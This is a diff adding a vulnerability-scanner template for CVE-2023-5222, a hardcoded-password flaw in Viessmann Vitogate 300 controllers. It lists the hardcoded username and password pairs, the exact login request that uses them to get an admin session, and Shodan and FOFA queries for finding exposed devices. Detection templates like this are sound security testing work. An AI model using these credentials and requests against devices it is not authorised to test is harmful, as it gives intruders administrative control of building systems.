diff --git a/http/cves/CVE-2023-5222.yaml b/http/cves/CVE-2023-5222.yaml
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+id: CVE-2023-5222
+
+info:
+  name: Viessmann Vitogate 300 - Hardcoded Password
+  author: ritikchaddha
+  severity: critical
+  description: |
+    A critical vulnerability in Viessmann Vitogate 300 up to 2.1.3.0 allows attackers to authenticate using hardcoded credentials in the Web Management Interface.
+  impact: |
+    An attacker could potentially gain unauthorized access to the device.
+  remediation: |
+    Update the device firmware to remove the hardcoded password or change it to a strong, unique password.
+  reference:
+    - https://vuldb.com/?ctiid.240364
+    - https://vuldb.com/?id.240364
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-5222
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2023-5222
+    cwe-id: CWE-259
+    epss-score: 0.00164
+    epss-percentile: 0.52433
+    cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 2
+    shodan-query: title:"Vitogate 300"
+    fofa-query: title="Vitogate 300"
+    vendor: viessmann
+    product: vitogate_300_firmware
+  tags: cve,cve2023,viessmann,vitogate,default-login
+
+http:
+  - raw:
+      - |
+        POST /cgi-bin/vitogate.cgi HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"method":"put","form":"form-login","params":{"uid":"{{username}}","pwd":"{{password}}"}}
+
+    attack: pitchfork
+    payloads:
+      username:
+        - vitomaster
+        - vitogate
+      password:
+        - viessmann1917
+        - viessmann
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'admin":true'
+          - '"sessionId":'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - 'application/json'
+
+      - type: status
+        status:
+          - 200